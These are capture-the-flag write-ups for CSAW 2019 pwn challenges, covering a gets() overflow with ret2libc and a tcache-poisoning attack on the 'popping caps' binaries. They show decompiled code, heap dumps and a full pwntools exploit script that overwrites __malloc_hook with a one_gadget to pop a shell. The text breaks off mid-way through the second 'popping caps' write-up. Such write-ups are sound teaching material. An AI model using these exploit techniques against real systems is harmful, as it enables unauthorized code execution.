As we can see at line 10, there is an input using the gets function, which is notoriously vulnerable because it doesn't check the size of the input.
Our arbitrary input goes into the stack, because the variable v4 is a local variable.After v4, which has a size of 32 bytes, there are on the stack 8 bytes of saved registers and 8 bytes containing the return address of the main function.
So it's obvious that **we can control RIP** (Instruction Pointer Register) and jump to any point of the program as we want, simply injecting as input 32+8=40 random chars and then the address (in little-endian) we want to jump to.
## Where to jump to?Using the tool [one_gadget](https://github.com/david942j/one_gadget) on libc-2.27, I found some interesting points of libc to which we can jump to obtain a shell (this technique is called "[Ret2Libc](https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833)"):
$ one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
Libc is loaded dynamically, so we couldn't know the exact address to jump to (in fact, those indicated above are fixed offsets relative to the beginning of the Libc); but we have the leak of the printf function address at line 9.
We can use it to calculate the effective runtime address of the beginning of the libc, subtracting the printf offset (that it's fixed and can be found opening the Libc with IDA or pwntools) from the leaked address.
Adding one of the one_gadget offsets to the beginning of the libc address that that we have just obtained, we got the address to which we weant to jump to. Voilà!
## FinallyPutting it all together (you can see the final exploit in the [exploit.py](exploit.py) file) we finally got our shell and cat the flag.I had to try the third one_gadget offset, because the others weren't working because of the value of the other registers :P
$ python2 exploit.py [+] Opening connection to pwn.chal.csaw.io on port 1005: Printf offset: 0x64e80 Actual addr: 0x7f265aba1e80 Actual gadget: 0x7f265ac4738c [*] Switching to interactive mode $ cat flag.txt flag{baby_boi_dodooo_doo_doo_dooo} |
# popping caps 0
Let's take a look at the binary and libc:
```$ pwn checksec popping_caps[*] '/Hackery/pod/modules/44-more_tcache/csaw19_popping_caps1/popping_caps' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled$ file popping_capspopping_caps: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0b94b47318011a2516372524e7aaa0caeda06c79, not stripped$ ./libc.so.6GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 7.3.0.libc ABIs: UNIQUE IFUNCFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ /popping_capsHere is system 0x7f8dfb387fd0You have 7 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice:```
First off we are dealing with libc version `2.27` (so we get to use the tcache). This binary has all of the standard mitigations except for RELRO. When we run it, we get a libc infoleak, and have the ability to malloc, free, and write.
## Reversing
When we take a look at the main function in Ghidra, we see this:
```undefined8 main(void)
{ ulong choice; size_t size; long number; long idk; void *ptr; void *ptrCopy; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); printf("Here is system %p\n",system); idk = 7; ptr = (void *)0x0; ptrCopy = (void *)0x0; while (idk != 0) { printf("You have %llu caps!\n",idk); puts("[1] Malloc"); puts("[2] Free"); puts("[3] Write"); puts("[4] Bye"); puts("Your choice: "); choice = read_num(); if (choice == 2) { puts("Whats in a free: "); number = read_num(); free((void *)((long)ptr + number)); if (ptr == ptrCopy) { ptrCopy = (void *)0x0; } } else { if (choice < 3) { if (choice == 1) { puts("How many: "); size = read_num(); ptr = malloc(size); ptrCopy = ptr; } } else { if (choice == 3) { puts("Read me in: "); read(0,ptrCopy,8); } else { if (choice == 4) { bye(); } } } } puts("BANG!"); idk = idk + -1; } bye(); return 0;}```
So we can see a few things here. First we can allocate a chunk of a particular size, which is then stored in `ptrCopy` and `ptr`. Proceeding that, we can also scan in `0x8` bytes into the address pointed to by `ptrCopy`. Also the free works by us providing an offset to `ptr`, which is then freed. After we free it zeroes out `ptrCopy`, but not `ptr`. So after we free once, we will have to allocate another chunk before we can do another write. Also we don’t see any simple way of getting another infoleak.
Also one other important thing, we only get `7` actions (with an action being a read, write, or free). After that `bye` is run which the program calls `malloc` and `exit`:
```void bye(void)
{ fwrite(&DAT_00100d04,1,4,stdout); malloc(0x38); /* WARNING: Subroutine does not return */ exit(0);}```
## Exploitation
So for exploiting this code, we will be attacking the tcache. Particularly where the tcache stores the beginning of the various linked lists that makes up the tcache, and the corresponding counts. This is stored in a chunk at the beginning of the heap. For a better understanding of this, let's take a look at it:
```gef➤ vmmapStart End Offset Perm Path0x000056054637b000 0x000056054637c000 0x0000000000000000 r-x /home/guyinatuxedo/Desktop/popping/popping_caps0x000056054657c000 0x000056054657d000 0x0000000000001000 rw- /home/guyinatuxedo/Desktop/popping/popping_caps0x0000560548324000 0x0000560548345000 0x0000000000000000 rw- [heap]0x00007f1e4b9c3000 0x00007f1e4bbaa000 0x0000000000000000 r-x /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bbaa000 0x00007f1e4bdaa000 0x00000000001e7000 --- /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bdaa000 0x00007f1e4bdae000 0x00000000001e7000 r-- /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bdae000 0x00007f1e4bdb0000 0x00000000001eb000 rw- /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bdb0000 0x00007f1e4bdb4000 0x0000000000000000 rw-0x00007f1e4bdb4000 0x00007f1e4bddb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007f1e4bfd9000 0x00007f1e4bfdb000 0x0000000000000000 rw-0x00007f1e4bfdb000 0x00007f1e4bfdc000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so0x00007f1e4bfdc000 0x00007f1e4bfdd000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so0x00007f1e4bfdd000 0x00007f1e4bfde000 0x0000000000000000 rw-0x00007ffc5924c000 0x00007ffc5926d000 0x0000000000000000 rw- [stack]0x00007ffc593ce000 0x00007ffc593d1000 0x0000000000000000 r-- [vvar]0x00007ffc593d1000 0x00007ffc593d2000 0x0000000000000000 r-x [vdso]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]gef➤ x/100g 0x00005605483240000x560548324000: 0x0 0x2510x560548324010: 0x0 0x00x560548324020: 0x0 0x00x560548324030: 0x0 0x00x560548324040: 0x0 0x00x560548324050: 0x0 0x00x560548324060: 0x0 0x00x560548324070: 0x0 0x00x560548324080: 0x0 0x00x560548324090: 0x0 0x00x5605483240a0: 0x0 0x00x5605483240b0: 0x0 0x00x5605483240c0: 0x0 0x00x5605483240d0: 0x0 0x00x5605483240e0: 0x0 0x00x5605483240f0: 0x0 0x00x560548324100: 0x0 0x00x560548324110: 0x0 0x00x560548324120: 0x0 0x00x560548324130: 0x0 0x00x560548324140: 0x0 0x00x560548324150: 0x0 0x00x560548324160: 0x0 0x00x560548324170: 0x0 0x00x560548324180: 0x0 0x00x560548324190: 0x0 0x00x5605483241a0: 0x0 0x00x5605483241b0: 0x0 0x00x5605483241c0: 0x0 0x00x5605483241d0: 0x0 0x00x5605483241e0: 0x0 0x00x5605483241f0: 0x0 0x00x560548324200: 0x0 0x00x560548324210: 0x0 0x00x560548324220: 0x0 0x00x560548324230: 0x0 0x00x560548324240: 0x0 0x00x560548324250: 0x0 0x910x560548324260: 0x0 0x00x560548324270: 0x0 0x00x560548324280: 0x0 0x00x560548324290: 0x0 0x00x5605483242a0: 0x0 0x00x5605483242b0: 0x0 0x00x5605483242c0: 0x0 0x00x5605483242d0: 0x0 0x00x5605483242e0: 0x0 0x20d210x5605483242f0: 0x0 0x00x560548324300: 0x0 0x00x560548324310: 0x0 0x0```
So we can see the chunk we were talking about the beginning, with a size of `0x251`. We can also see another chunk we allocated at `0x560548324250` with the size `0x91`. Let's free it and have it inserted into the tcache:
```gef➤ x/100g 0x00005605483240000x560548324000: 0x0 0x2510x560548324010: 0x100000000000000 0x00x560548324020: 0x0 0x00x560548324030: 0x0 0x00x560548324040: 0x0 0x00x560548324050: 0x0 0x00x560548324060: 0x0 0x00x560548324070: 0x0 0x00x560548324080: 0x0 0x5605483242600x560548324090: 0x0 0x00x5605483240a0: 0x0 0x00x5605483240b0: 0x0 0x00x5605483240c0: 0x0 0x00x5605483240d0: 0x0 0x00x5605483240e0: 0x0 0x00x5605483240f0: 0x0 0x00x560548324100: 0x0 0x00x560548324110: 0x0 0x00x560548324120: 0x0 0x00x560548324130: 0x0 0x00x560548324140: 0x0 0x00x560548324150: 0x0 0x00x560548324160: 0x0 0x00x560548324170: 0x0 0x00x560548324180: 0x0 0x00x560548324190: 0x0 0x00x5605483241a0: 0x0 0x00x5605483241b0: 0x0 0x00x5605483241c0: 0x0 0x00x5605483241d0: 0x0 0x00x5605483241e0: 0x0 0x00x5605483241f0: 0x0 0x00x560548324200: 0x0 0x00x560548324210: 0x0 0x00x560548324220: 0x0 0x00x560548324230: 0x0 0x00x560548324240: 0x0 0x00x560548324250: 0x0 0x910x560548324260: 0x0 0x00x560548324270: 0x0 0x00x560548324280: 0x0 0x00x560548324290: 0x0 0x00x5605483242a0: 0x0 0x00x5605483242b0: 0x0 0x00x5605483242c0: 0x0 0x00x5605483242d0: 0x0 0x00x5605483242e0: 0x0 0x20d210x5605483242f0: 0x0 0x00x560548324300: 0x0 0x00x560548324310: 0x0 0x0```
So we can see a pointer to the freed chunk (which is now in the tcache) ended up in the upper chunk. We also see the corresponding byte for that count of the linked list associated with chunks of that size has been incremented. So for how we will start off by allocating a chunk of size `0x3b0`:
```gef➤ x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x00x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x00x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
Proceeding that, we will free that chunk. This will insert a pointer to it as the head of the linked list for it's idx, and increment the corresponding count:
```gef➤ x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
As you can see, the `0x1` for the idx maps to the byte `0x560eee9a5049`. This also happens to make for a perfect fake chunk header with size `0x100`. Next we will free the fake chunk we just created, which will insert it into the tcache. Also the reason why we choose that spot, is the linked list pointers will begin at `0x560eee9a5050`, which we will be able to write to:```gef➤ x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x10000000000000x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x560eee9a5050 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
As we can see here, the chunk `0x560eee9a5050` has been inserted into the tcache. Next we will allocate it with malloc:```gef➤ x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
Now `ptrCopy` points to `0x560eee9a5050`. We will now write to it the address of the malloc hook, which we know from the libc base address:
```gef➤ x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x7f81fad74c30 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0gef➤ x/g 0x7f81fad74c300x7f81fad74c30 <__malloc_hook>: 0x0```
Now the head of the linked list for the smallest size idx points to the malloc hook. We will just allocate the chunk, and write to it the address of a oneshot gadget in the libc. Here is the value before the write:
```───────────────────────────────────────────────────────────────────── stack ────0x00007ffe039d1ce0│+0x0000: 0x00007f81fad8a9a0 → <_dl_fini+0> push rbp ← $rsp0x00007ffe039d1ce8│+0x0008: 0x00000000000000000x00007ffe039d1cf0│+0x0010: 0x00007f81fad74c30 → 0x00000000000000000x00007ffe039d1cf8│+0x0018: 0x00007f81fad74c30 → 0x00000000000000000x00007ffe039d1d00│+0x0020: 0x00000000000000030x00007ffe039d1d08│+0x0028: 0x0000560eee9a5050 → 0x00000000000000000x00007ffe039d1d10│+0x0030: 0x0000560eed594c80 → push r15 ← $rbp0x00007ffe039d1d18│+0x0038: 0x00007f81fa9aab97 → <__libc_start_main+231> mov edi, eax─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x560eed594c37 mov edx, 0x8 0x560eed594c3c mov rsi, rax 0x560eed594c3f mov edi, 0x0 → 0x560eed594c44 call 0x560eed594870 ↳ 0x560eed594870 jmp QWORD PTR [rip+0x2009f2] # 0x560eed795268 0x560eed594876 push 0x4 0x560eed59487b jmp 0x560eed594820 0x560eed594880 jmp QWORD PTR [rip+0x2009ea] # 0x560eed795270 0x560eed594886 push 0x5 0x560eed59488b jmp 0x560eed594820─────────────────────────────────────────────────────── arguments (guessed) ────0x560eed594870 ( $rdi = 0x0000000000000000, $rsi = 0x00007f81fad74c30 → 0x0000000000000000, $rdx = 0x0000000000000008)─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "popping_caps", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x560eed594c44 → call 0x560eed594870[#1] 0x7f81fad8a9a0 → push rbp────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x0000560eed594c44 in ?? ()gef➤ x/g 0x00007f81fad74c300x7f81fad74c30 <__malloc_hook>: 0x0```
After the write:
```gef➤ x/g 0x00007f81fad74c300x7f81fad74c30 <__malloc_hook>: 0x00007f81faa9338c```
Also this is how we find the oneshot gadget:
```one_gadget libc.so.60x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints: rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```
After that, our seven actions are called. The function `bye` is called which calls malloc, and executes our oneshot gadget, and we get a shell!
## Exploit
Putting it all together, we have the following exploit:
```from pwn import *
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#target = remote("pwn.chal.csaw.io", 1001)libc = ELF("libc.so.6")#gdb.attach(target, gdbscript = 'pie b *0xc44')
mallocHook = 0x3ebc30salvation = 0x3ebb90
leak = target.recvuntil("Here is system ")leak = target.recvline()leak = leak.strip("\n")leak = int(leak, 16)
libcBase = leak - libc.symbols["system"]print "libc base: " + hex(libcBase)
def pl(): print target.recvuntil("Your choice:")
def malloc(x): pl() target.sendline("1") print target.recvuntil("How many:") target.sendline(str(x))
def write(x): pl() target.sendline("3") print target.recvuntil("Read me in:") target.send(x)
def free(x): pl() target.sendline("2") print target.recvuntil("Whats in a free:") target.sendline(str(x))
mallocHook = libcBase + libc.symbols["__malloc_hook"]salvation = libcBase + salvationprint "malloc hook: " + hex(libcBase + libc.symbols["__malloc_hook"])print "free hook: " + hex(libcBase + libc.symbols["__free_hook"])print "salvation: " + hex(salvation)
malloc(0x3a0)
free(0)
free(-528)
malloc(0xf0)
write(p64(mallocHook))
malloc(0x0)
write(p64(libcBase + 0x10a38c))
target.interactive()```
When we run it:```$ python exploit.py[+] Starting local process './popping_caps': pid 3821[*] '/home/guyinatuxedo/Desktop/popping/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledlibc base: 0x7f08f11fa000malloc hook: 0x7f08f15e5c30free hook: 0x7f08f15e78e8salvation: 0x7f08f15e5b90You have 7 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 6 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free: BANG!You have 5 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free: BANG!You have 4 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 3 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in: BANG!You have 2 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 1 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in:[*] Switching to interactive mode BANG!Bye!$ w 22:34:28 up 21 min, 1 user, load average: 0.03, 0.03, 0.08USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATguyinatu :0 :0 22:13 ?xdm? 26.87s 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu$ lscore exploit.py libc.so.6 peda-session-popping_caps.txt popping_caps$[*] Interrupted[*] Stopped process './popping_caps' (pid 3821)```
Just like that, we popped a shell! |
# Popping Caps 1
For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.
## Reversing
Taking a look at the main function, we see a lot of similarities:
```undefined8 main(void)
{ ulong choice; size_t size; long freeOffset; long lives; void *ptr; void *ptrCpy; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); printf("Here is system %p\n",system); lives = 7; ptr = (void *)0x0; ptrCpy = (void *)0x0; while (lives != 0) { printf("You have %llu caps!\n",lives); puts("[1] Malloc"); puts("[2] Free"); puts("[3] Write"); puts("[4] Bye"); puts("Your choice: "); choice = read_num(); if (choice == 2) { puts("Whats in a free: "); freeOffset = read_num(); free((void *)((long)ptr + freeOffset)); if (ptr == ptrCpy) { ptrCpy = (void *)0x0; } } else { if (choice < 3) { if (choice == 1) { puts("How many: "); size = read_num(); ptr = malloc(size); ptrCpy = ptr; } } else { if (choice == 3) { puts("Read me in: "); read(0,ptrCpy,0xff); } else { if (choice == 4) { bye(); } } } } puts("BANG!"); lives = lives + -1; } bye(); return 0;}```
So some differences we noticed from the first problem, we can scan in `0xff` bytes instead of `0x8` bytes. Also we notice that the `bye` function doesn't have the `malloc` call in it:
```void bye(void)
{ /* WARNING: Subroutine does not return */ exit(0);}```
So we have to do this without a malloc at the end. Our previous attack won't work anymore.
## Exploit
For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:
```gef➤ x/100g 0x00005569212230000x556921223000: 0x0 0x2510x556921223010: 0x0 0x00x556921223020: 0x0 0x00x556921223030: 0x0 0x00x556921223040: 0x0 0x00x556921223050: 0x0 0x00x556921223060: 0x0 0x00x556921223070: 0x0 0x00x556921223080: 0x0 0x00x556921223090: 0x0 0x00x5569212230a0: 0x0 0x00x5569212230b0: 0x0 0x00x5569212230c0: 0x0 0x00x5569212230d0: 0x0 0x00x5569212230e0: 0x0 0x00x5569212230f0: 0x0 0x00x556921223100: 0x0 0x00x556921223110: 0x0 0x00x556921223120: 0x0 0x00x556921223130: 0x0 0x00x556921223140: 0x0 0x00x556921223150: 0x0 0x00x556921223160: 0x0 0x00x556921223170: 0x0 0x00x556921223180: 0x0 0x00x556921223190: 0x0 0x00x5569212231a0: 0x0 0x00x5569212231b0: 0x0 0x00x5569212231c0: 0x0 0x00x5569212231d0: 0x0 0x00x5569212231e0: 0x0 0x00x5569212231f0: 0x0 0x00x556921223200: 0x0 0x00x556921223210: 0x0 0x00x556921223220: 0x0 0x00x556921223230: 0x0 0x00x556921223240: 0x0 0x00x556921223250: 0x0 0x210x556921223260: 0x0 0x00x556921223270: 0x0 0x20d910x556921223280: 0x0 0x00x556921223290: 0x0 0x00x5569212232a0: 0x0 0x00x5569212232b0: 0x0 0x00x5569212232c0: 0x0 0x00x5569212232d0: 0x0 0x00x5569212232e0: 0x0 0x00x5569212232f0: 0x0 0x00x556921223300: 0x0 0x00x556921223310: 0x0 0x0```
Proceeding that, we will free the tcache idx block:
```gef➤ x/100g 0x00005569212230000x556921223000: 0x0 0x2510x556921223010: 0x0 0x00x556921223020: 0x0 0x00x556921223030: 0x1000000 0x00x556921223040: 0x0 0x00x556921223050: 0x0 0x00x556921223060: 0x0 0x00x556921223070: 0x0 0x00x556921223080: 0x0 0x00x556921223090: 0x0 0x00x5569212230a0: 0x0 0x00x5569212230b0: 0x0 0x00x5569212230c0: 0x0 0x00x5569212230d0: 0x0 0x00x5569212230e0: 0x0 0x00x5569212230f0: 0x0 0x00x556921223100: 0x0 0x00x556921223110: 0x0 0x00x556921223120: 0x0 0x00x556921223130: 0x0 0x00x556921223140: 0x0 0x00x556921223150: 0x0 0x00x556921223160: 0x0 0x5569212230100x556921223170: 0x0 0x00x556921223180: 0x0 0x00x556921223190: 0x0 0x00x5569212231a0: 0x0 0x00x5569212231b0: 0x0 0x00x5569212231c0: 0x0 0x00x5569212231d0: 0x0 0x00x5569212231e0: 0x0 0x00x5569212231f0: 0x0 0x00x556921223200: 0x0 0x00x556921223210: 0x0 0x00x556921223220: 0x0 0x00x556921223230: 0x0 0x00x556921223240: 0x0 0x00x556921223250: 0x0 0x210x556921223260: 0x0 0x00x556921223270: 0x0 0x20d910x556921223280: 0x0 0x00x556921223290: 0x0 0x00x5569212232a0: 0x0 0x00x5569212232b0: 0x0 0x00x5569212232c0: 0x0 0x00x5569212232d0: 0x0 0x00x5569212232e0: 0x0 0x00x5569212232f0: 0x0 0x00x556921223300: 0x0 0x00x556921223310: 0x0 0x0```
